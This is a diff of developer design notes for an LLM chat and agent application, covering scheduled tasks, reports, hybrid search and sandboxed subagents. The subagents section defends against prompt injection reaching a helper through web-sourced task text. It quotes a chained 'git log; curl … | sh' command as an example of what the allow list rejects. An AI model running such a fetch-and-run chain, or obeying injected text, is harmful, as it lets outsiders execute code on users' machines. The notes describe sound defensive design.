cached conversation would be a snapshot that silently went stale, belonging to
whoever was signed in last.
- **Markdown rendered server-side.** One code path produces the streamed and
the stored view, so they cannot disagree.
- **This repository is public.** Deployment hostnames, ports and paths stay out
of it; `deploy/` is templates, and the real values live in private notes.
Schedules-and-reports.md
+186
@@ -0,0 +1,186 @@
# Schedules, reports and the sidebar's sections
Split out of [Working-notes](Working-notes) -- same document, same rules, kept here because that
file is loaded in full on every session and this part is only wanted when you
are working on work that happens because time passed. Read it before you do.
Covers `services/schedule/`, `services/schedules.py`, `services/wake.py`,
`services/reports.py`, and how a third `Chat.kind` narrows the sidebar.
**A schedule is claimed before it is fired, and that order is the design.**
`ticker.sweep` moves the row on -- `fired_count`, `last_fire_at`, the next
`next_fire_at` -- and **commits** before a single firing is awaited. The other
order is a hot loop: a firing that raises is retried every tick for ever against
whatever it was that failed, and the only symptom is load. A sweep lock stops two
overlapping passes claiming the same row, because a firing awaits a model and can
take minutes. Exhaustion *disables*: a rule with nothing left returns `None` and
the row is switched off rather than examined for ever.
The blanket `except` around the loop is copied from `terminal._reaper_loop` for a
sharper reason than the reaper has. **A ticker that dies on one bad row stops
every schedule on the instance and says nothing** -- no request fails, no reply
errors, no dot appears. The reports simply stop.
**`rule.py` is pure, total and tested before anything calls it.** No session, no
wall clock, nothing that raises. `validate` is this feature's `nh3.clean`: the
compile step's output is *model output that becomes a timer*, so it clamps what
it recognises, drops what it does not, and answers `{}` for prose -- at which
point the route shows the manual form rather than writing a schedule that can
never fire. The invariant, pinned in the tests, is that **anything `validate`
accepts has a computable next occurrence**; a schedule that can never fire looks
exactly like a working one on every screen it appears on.
Wall-clock and elapsed time are deliberately different. `at.times` are wall-clock
in the owner's zone, so 15:00 stays 15:00 across a daylight-saving change --
that is what "every Monday at 3PM" means. `every` is elapsed real time, so six
hours stays six hours across a 23- or 25-hour day -- that is what a timer means.
Conflating them gets one of the two wrong twice a year. A time inside the
spring-forward gap fires at the first minute that exists rather than being
skipped, because a daily report vanishing once a year on a machine nobody watches
is exactly the failure this file is arranged around; `zoneinfo`'s own resolution
yields an instant an hour away wearing a wall-clock time that did not happen.
**`services/wake.py` is one lock discipline with two callers.** A finished
background job and a due schedule are the same problem -- put a turn into a chat
from outside any request and get it answered -- and both depend on there being no
`await` between the `running_for` check and the writes. Two lock dictionaries for
one invariant is how one of them drifts, so `jobs.wake` is now a caller that
supplies wording. `_completion_text` stayed where it was, because
`tool.background` quotes its opening sentence to the model.
**Three rules around firing each look like a bug from outside.** A firing
arriving while the chat still answers the previous one *queues* rather than
starting a second reply -- but `_drain` takes one per reply, so the queue is
bounded and past `max_queued` the firing is skipped with the reason on the row.
**Run now does not advance `next_fire_at`**, or testing a schedule would silently
consume the run it was testing. **Resuming recomputes from now**, or a schedule
paused for a month fires the instant it comes back, once for every occurrence it
missed.
**A task chat is created with its schedule, and that is the one place "chats are
created lazily" is bent.** The lazy rule exists so an opened-and-abandoned chat
never appears in the sidebar; a task chat is not opened and abandoned, because
creating it *is* the act -- and it has to exist before a first firing that may be
days away with nobody present to make one. Removing a schedule keeps the chat by
default and turns it back into an ordinary one: deleting a transcript as a side
effect of removing a timer is the destructive default this codebase avoids, and a
`KIND_TASK` chat with no schedule behind it would appear in no list at all.
**A task chat may not be an agent chat, in v1.** Scheduling one means running
commands on a timer with nobody watching -- and since Manual, Edit and Plan all
stop to ask on `RISK_EXECUTE`, the only two outcomes are unattended execution and
a reply that stalls until `approval_timeout`. Neither is a feature. That deserves
its own pass with a mode built for it.
**A task chat has no composer, and the suppression is by absence.**
`chat/index.html` includes `schedules/_strip.html` instead. `chat/_composer.html`
is the only thing that posts a message, so its absence *is* the guarantee -- a
hidden one would still be a form anybody could post to, the same reason Reports
has no route that would accept one.
**An empty `kind` means both sides of the switch, and never "no filter".** For
as long as there were exactly two kinds those were the same sentence, and the
sidebar leant on it: `Folder.visible_chats` read `not kind or chat.kind == kind`
and `sidebar_context` added its `where` only when `kind` was truthy. `kind` is
`""` precisely when the Chat/Agent switch is *absent* — an instance with agent
chats turned off — so the moment a third kind existed, every conversation
belonging to a section rather than to the tree appeared in somebody's ordinary
chat list, on exactly the instances whose owners would never think to look.
So `KINDS` stays the two-sided switch and `ALL_KINDS` is what a row may be.
**`KINDS` must not grow**: `api/preferences.py:set_sidebar_kind` validates
against it, and a third entry there makes the tree filterable to a side with no
button to leave it — the "one side of a fork nobody can move" failure the
`sidebar_split` guard already exists to prevent. Both narrowings filter against
`KINDS`, and both are pinned in `tests/test_sidebar_sections.py`, because they
are two implementations of one rule and only one of them is SQL: fixing the
query alone leaves a task chat filed in a folder showing up anyway.
`/api/chats/unread` narrows the same way and for a sharper reason — a section
gets **one dot for the section**, not one per conversation inside it, so forty
task chats must not mean forty out-of-band spans aimed at elements that are not
on the page. htmx says nothing at all when an OOB target is missing, so that
would be silent waste rather than a visible bug.
**A report is not a chat with one message in it.** It has a title, a body, a
time and a source; it is read top to bottom and never answered; and it must be
writable with no chat behind it at all, being the fallback destination for
scheduled work whose own chat has gone. As a `Chat` it would need a sidebar row
per daily report, a `title_generated` flag, an `unread` flag, a composer to
suppress and a bubble with an avatar and a rewind button around something that
is not a turn. It is the line `services/library/` already draws from the other
side, and `services/reports.py` is deliberately thinner than the library stores:
no sharing (a report records what somebody's own model did for them) and no
revisions (it describes a moment, not a document being worked on).
The section's character is enforced by absence rather than by suppression:
`reports/*.html` never includes the composer and never renders
`chat/_message.html`, so there is no `sse-connect` anywhere on those pages and
nothing on them *can* start a generation. `tests/test_reports.py` asserts both
the markup and, from the OpenAPI schema, that no route under `/reports` or
`/api/reports` accepts anything but the delete. Read the schema and not
`app.routes` — this FastAPI keeps an included router wrapped rather than
flattening it, so walking the routes finds nothing and the assertion passes for
the wrong reason.
**The sidebar shows one kind at a time.** `Chat.kind` distinguishes an agent
chat everywhere except the one place a person looked. The switch is stored on
the account, and three things about it are not the obvious version. It lives
*inside* the fragment it swaps, or the two buttons would go on showing the side
you had just left — and "New chat", which sits *above* the scroll area rather
than in the tree, comes along out of band
(`partials/_sidebar_actions.html`, rendered with `oob` only by the fragment
route). That one shipped broken: the button went on saying "New chat" over a
list of agent chats. Whether it *worked* was never the question — it said one
thing and did another, which is the shape of failure the switch itself was
arranged to avoid. `Folder.shown_in` hides a folder the filter emptied and keeps
one that was empty to begin with — the second is a container somebody just made,
and hiding it means it can never be found again, let alone filed into. And with
agent chats switched off there is no switch and no filtering at all, rather than
one side of a fork nobody can move: an administrator turning the feature off
would otherwise strand whoever last left it on Agents in an empty sidebar.
## A model can schedule, and could not before
**There was no scheduling tool, and that was the whole failure.** Asked to
"remind me every Monday at noon", a model looked down its list, found
`notes_create` described as *"something worth having in a later conversation"*
and `memory_add` beginning with the word *Remember*, wrote a note, and said it
had scheduled something. Every screen agreed with it. No amount of prompting
fixes that: the near-misses were the only thing there was to reach for, and
nothing anywhere said scheduling existed.
The seam had been left open. `Schedule.origin` has defined `ORIGIN_MODEL` since
the feature shipped with **no writer**, and `services/schedules.py` says in its
first line that it holds "what the routes *and the tools* both need".
`services/schedule/tool.py` is what was meant to go through it.
**One vocabulary, not a second one.** The four tools are a thin layer over what
the form already uses: `rule.validate` is the single total normaliser — the
manual form, the compile step and the tool all hand it the same raw shape —
`schedules.create` writes the row and the task chat together, and
`rule.describe` says what came out in words. A separate dialect for models would
mean two definitions of "every other Tuesday" and one of them going quietly
wrong. The `tool.schedule` fragment is deliberately worded from
`task.schedule_compile`, which has been turning people's words into this same
JSON since the feature shipped.
**The tool answers with `rule.describe`, never "done".** A schedule is invisible
until it fires, which may be days away, so the sentence in the reply is the only
moment anybody can check that Monday was understood as Monday. The tool hands
the description over and says, in the result text, to quote it. `ORIGIN_MODEL`
goes on the row for the matching reason: the Scheduled list badges the ones
nobody typed, because otherwise a model's decision and the reader's own are the
same row.
**Gated on `schedule.use`, not on a `tools.schedule` of its own.** A reader who
may set a schedule up by hand may say so to a model instead, and a second
permission beside the first would only ever be answered "the same as that one".
The instance switch is passed into `_family_allowed` the way `images` is, so an
instance with scheduling off offers nothing — a model handed a tool that cannot
work spends a round finding out, which in a one-round reply is the whole reply.
**`tool.notes` and `tool.memory` both say what they are not for.** They are what
the model actually reached for, so each ends with the line that redirects:
anything that should *happen* at a time is a schedule, and remembering that
something should happen does not make it happen.
Search-and-extraction.md
+142
@@ -0,0 +1,142 @@
# Extraction, embeddings and hybrid search
Read this before touching `services/files.py:limits`, `services/library/`'s new
three modules, or the `Chunk` table.
## Extraction is a snapshot, not a session
The constants in `services/files.py` are **defaults** now; what `prepare` reads
is `limits()`, a process-level snapshot with the same shape and the same
reasoning as `services/branding.py`. Threading a session through `prepare`,
`_process_image`, `_process_pdf` and `_process_text` would have meant six
signatures changed to carry a number, and several of their callers — the startup
sweep, a tool runner — have no session in hand.
`files.forget()` is called by `api/admin_extraction.py` and by nothing else. The
tests drop it between cases in `conftest.py` beside the branding one, for the
same reason.
Two things stayed constants on purpose:
- **`Image.MAX_IMAGE_PIXELS`** — a decompression-bomb guard, not a preference. A
60,000×60,000 PNG is a few KB on disk and hundreds of gigabytes decoded, and
nothing good comes of being able to raise that from a form.
- **`ORPHAN_AGE` in a signature.** `sweep_orphans(older_than=None)` resolves the
default inside the body, because a default argument is evaluated at import and
a module constant there would pin the shipped 24 hours whatever anybody set.
## Nothing changes for an instance that configures nothing
`embedding_model_id` empty means: no chunk rows written, no requests made,
`retrieval.search` returning exactly what `fts.search_ids` returns, in exactly
that order. That is asserted rather than claimed
(`test_with_no_model_search_is_exactly_the_keyword_search`), and it is what makes
this safe to land on an existing instance.
## Reciprocal rank fusion, and why not a weight
bm25 is a negative number whose scale depends on the corpus; cosine is 0..1. They
are not comparable, and normalising them onto a common scale means picking a
constant nobody can tune without a labelled test set they do not have.
RRF uses the **ranks**: `1 / (K + rank)`, summed. One constant, famously
insensitive to it, and it degrades to exactly one list when the other is empty —
which is what makes "no embedding model" a *branch that does not exist* rather
than a special case. `RRF_K` is deliberately not a setting: a number nobody can
evaluate is a number nobody should be asked about.
The fused `rank` is **larger for better**, the opposite of bm25's convention.
Nothing downstream reads it, but it is worth knowing.
## The query is embedded by the caller
`search()` is synchronous because every store's `search()` is, and every one of
those is called from both a route and a tool runner. Embedding is an HTTP
request. So the caller embeds first and passes a vector in; one that cannot
passes nothing and gets keywords.
`retrieval.worker_for(db)` and `retrieval.embed_with(worker, needle)` are split
for a specific reason: a **tool runner must not hold a database session across
an HTTP request**, so it resolves, closes, and awaits. A route that already holds
the request's session uses `embed_query(db, needle)`, which is the two together.
## A record scores as its best chunk
Not its average. One paragraph that answers the question is what makes a document
worth returning; averaging ranks a long document about something else above a
short one that says exactly the thing, because most of the long one is not about
anything.
`CHUNK_MULTIPLIER` is why the semantic side asks for more rows than are wanted:
one long document can own several of the best chunks and would otherwise crowd
everything else out.
## Vectors from two models never meet
`Chunk` stores `dims` and `model_id` beside every vector, and
`retrieval.semantic_ids` **skips a chunk whose width is not the query's**.
Changing the embedding model changes the space, and vectors from two spaces score
against each other perfectly happily and mean nothing — a search that works and
is wrong, which is the worst failure this feature can have. Nothing is deleted on
a model change; the stale rows are ignored until a rebuild replaces them, and the
save says so.
`unpack` checks the BLOB's length against the declared width for the same reason:
inferring the width would let a truncated row unpack into a shorter vector and
score happily.
## Indexing is fired and forgotten, and noticed by an event
Every library writer is synchronous and has just committed a row. None should
wait on a model server before saying "saved". So `schedule(kind, id)` starts a
task and returns; a save that cannot be indexed is still a save, and that record
falls back to keywords until the next rebuild.
**How a change is noticed is a SQLAlchemy session event, not a call in each of
the ten writers.** That is a departure from this codebase's taste for explicit
seams, and the reason is the one `tool_label` gives for being a Jinja global: a
step every writer has to remember is a step one of them will forget, and here
forgetting is silent — the record saves, keyword search still finds it, and only
its semantic recall is quietly stale.
`after_flush` collects and `after_commit` fires, in that order and never merged:
inside a flush the transaction has not landed, so a task started there could read
a row that does not exist yet — and `session.deleted` is empty by the time the
commit fires, so the collecting has to happen while it is not. `install()` is
idempotent because the app factory runs once per test.
A **deletion is scheduled like a change**: `index_resource` finds no row and drops
the chunks. One path rather than two, and the one that runs is the one that has
to be right anyway. `sweep_orphans` is the backstop for a delete with no event
loop to schedule anything — a CLI command, or a cascade from removing an account
— and runs at startup and at the end of every rebuild.
## Writing is all-or-nothing
`index_resource` embeds everything **before** it deletes anything. Deleting first
and failing half way through would leave a record indexed by half of itself,
which ranks worse than not being indexed at all and looks like nothing.
Staleness is a hash (`source_hash`) rather than a timestamp, so re-indexing an
unchanged record is free and "is this current?" is answerable without embedding
anything.
## The rebuild
One record at a time, never gathered: the far side is usually one local model
server, and twenty concurrent embedding requests against it is slower than twenty
sequential ones as well as being ruder. Each record commits, so a half-finished
index is usable.
`Progress` is in-process, because a rebuild does not survive a restart —
persisting it would mean a progress bar that stops moving and never finishes.
`admin/_index_progress.html` emits its `hx-trigger` **only while running**, so the
last frame has nothing attached and the polling stops by itself.
## The response order is trusted only as far as `index`
`_vectors_in` sorts on the declared `index` rather than on arrival order, and
refuses a response with a different number of vectors than inputs. Nothing in the
specification promises the order, and a provider that sorts differently would
pair every chunk with somebody else's vector — silently, for the life of the
index.
Subagents.md
+151
@@ -0,0 +1,151 @@
# Subagents
Read this before changing `services/subagent.py`, `Chat.unattended`,
`Chat.parent_chat_id`, or the unattended branch in `generation._authorise`.
`subagent_run` hands one self-contained piece of work to a second model that
runs on its own and reports back. The mechanism is small on purpose; almost
everything below is about what the helper is *not* given.
## The shape, and the two that were rejected
A helper is a hidden `Chat`, one turn put into it by `wake_chat`, and a poll
until the reply stops. Nothing about streaming, rounds, budgets, metrics, steps
or tools is re-implemented, because a second implementation of any of them is a
second thing to keep correct.
**Not a nested `Generation` in the parent's chat.** `services/wake.py` exists to
make that impossible: a chat has one generation at a time, and two writing one
transcript is a Stop button pointing at whichever bubble comes first in the
document.
**Not a one-shot `complete()`** — the shape `generate_title` uses.
`schedule/runner.py` already records why: it has no tools and no rounds, which is
useless for the case the feature exists for. A helper that cannot search is not
a helper.
So the pattern is `runner.fire`'s, and `runner._await_reply`'s poll is copied
rather than shared, for the reason that one gives: `generation` owns its registry
and its tasks, and reaching into either couples this to internals whose whole job
is to be replaceable.
## Nobody is watching, and that is a column
`Chat.unattended` is the question, and **not the kind**. A scheduled task's chat
is unattended because of what started it; a helper's because of what it is; a
third thing will be unattended for a third reason. `tools.unattended(chat)` reads
the column *and* `kind == KIND_TASK` beside it, because the column was added to a
table that already held task chats and `sync_schema` backfills a new NOT NULL
column with its type default — so every task chat written before this reads back
as attended. `schedules.create` sets the column now, so the kind check is a
backfill and not a permanent second rule.
Two things follow from it, and **both halves are needed**:
- `resolve_tools` withdraws `ask` and `subagent` from the offered set. A question
nobody can answer holds the reply until `approval_timeout`; a helper that could
send helpers is a fan-out with no bound anybody set.
- `generation._authorise` answers an approval with a refusal instead of building
a card. Without this half, a helper in Plan mode meets an ASK on its first
command and parks for fifteen minutes — which from every screen is
indistinguishable from the feature not working, and is the exact failure the
withdrawal of `ask_user` was added to prevent, arriving by the other door.
`_unanswerable` is deliberately not worded as a refusal by a person. Nobody
refused; a model told "they declined" reasons about a reader who is not there.
## What a helper may do
Restriction happens **at tool resolution, never in the prompt** — the standing
rule, and it matters more here than anywhere: a helper's task text is written by
a model that has been reading web pages. Everything is a property of the child's
row:
| what | how |
|---|---|
| no questions, no recursion | `unattended` → `resolve_tools` drops `ask`, `subagent` |
| nothing that writes | `scope_json["write"] = False` → every `RISK_WRITE` tool dropped |
| reads only what the parent could | the parent's `scope_json["families"]` is copied whole |
| commands from a fixed list | `MODE_PLAN`/`MODE_EDIT` + `scope_json["allow"] = SAFE_COMMANDS` |
The write narrowing is keyed on the declared **risk**, not on a list of names,
because a list goes out of date silently: a tool added next year would default
into a read-only helper's set unless somebody remembered. `RISK_EXECUTE` is
deliberately excluded from it — in an agent chat the mode and the allow list are
a finer instrument, and `git log` is a read whatever its risk class says.
**Auto is never inherited.** Both modes a helper may be given resolve
`RISK_EXECUTE` to ASK, and ASK here is a refusal, so what runs is what matches
`SAFE_COMMANDS` and nothing else — in every mode, including Auto. That is the
one place this is deliberately stricter than the parent, and the reason is the
injection path: the task text can have come from a page.
`policy.subject` is what makes the list safe rather than decorative. It returns
`None` for any line carrying a shell metacharacter, so `git log` being on the
list does not put `git log; curl … | sh` on it.
**A writing helper is a per-call parameter and is refused from Manual and Plan.**
Otherwise the mode is laundered: a reply that must be stopped before writing gets
a helper to write on its behalf with nobody stopped. In Edit and Auto the parent
could have written already, so the helper may too — and it gets `MODE_EDIT`,
which buys files and still not a shell.
## Bounds
`settings_store.subagents`, on the Helpers card of `/admin/agents`. It lives
there rather than on a nav entry of its own because that is the page somebody
comes to when they want to know what one reply may set going — even though
subagents are not an agent-chat feature and an ordinary chat can delegate too.
Its own form and its own route: one form writing two settings groups means one
handler deciding which key each field belongs to, and that mapping goes wrong
silently.
- **Per reply** — counted on the parent's `Generation.subagents`, which is the
only object that knows what "this reply" means. A chat-keyed counter would need
resetting, and every candidate for doing the resetting is a place to forget.
Read and incremented with nothing awaited in between, which is what makes it
safe against the four calls a round runs together.
- **Instance-wide** — a module-level set, cleared by a restart, which is correct:
a restart abandons replies in flight, so there is nothing for a durable count
to describe.
- **Per helper** — `agent/session._limits_for` branches on `parent_chat_id` for
an agent helper; `generation._run` reads the same number in place of
`chat_rounds` for an ordinary one. Without the second, a helper in an ordinary
chat has whatever ceiling an ordinary chat has, which by default is none.
The order in `_run_subagent` is the design: the refusals first, then the budget,
then the child. A call that could never have worked is told *why* rather than
told it has run out of helpers, and the counter only moves for a call that is
about to spend one.
## Running out of time
The helper is **stopped**, not abandoned. `request_stop` sets the flag the
producer checks between chunks, so the partial reply is persisted and marked
`stopped` rather than `error`, and the parent gets what there is plus a sentence
saying it is partial. An abandoned generation would go on spending the endpoint
after the parent had stopped caring.
## The wording
Three fragments, and they say different things on purpose.
- `tool.subagent` (`families=("subagent",)`) — when to delegate and when not to.
A model gets this wrong in both directions: it answers four independent
questions one after another, and then sends a helper to do a single search.
- `tool.subagent_agent` (`requires=("agent_target",)`) — the agent-chat half.
What it has to say is what a helper *cannot* do on a machine, because the
failure otherwise is a model planning a phase around a helper that will refuse
every step of it.
- `core.subagent` (`requires=("subagent",)`) — read inside the helper's own chat.
`harness.context_variables` sets that variable from `chat.parent_chat_id`, one
column read and no query. It is a flag wearing a variable's clothes, because
`requires` is how a fragment gates itself and a flag has nowhere else to live.
## The chat afterwards
Deleted once the answer is handed over, unless `keep_transcript` is on. Either
way it is `temporary`, so it is in no listing and the day-old sweep gets it.
Tidying up is best-effort and outside every other session: a helper whose answer
has been handed back has done its job, and failing to delete a row must not turn
a good result into an error.
Working-notes.md
+1923
File diff suppressed because it is too large Load Diff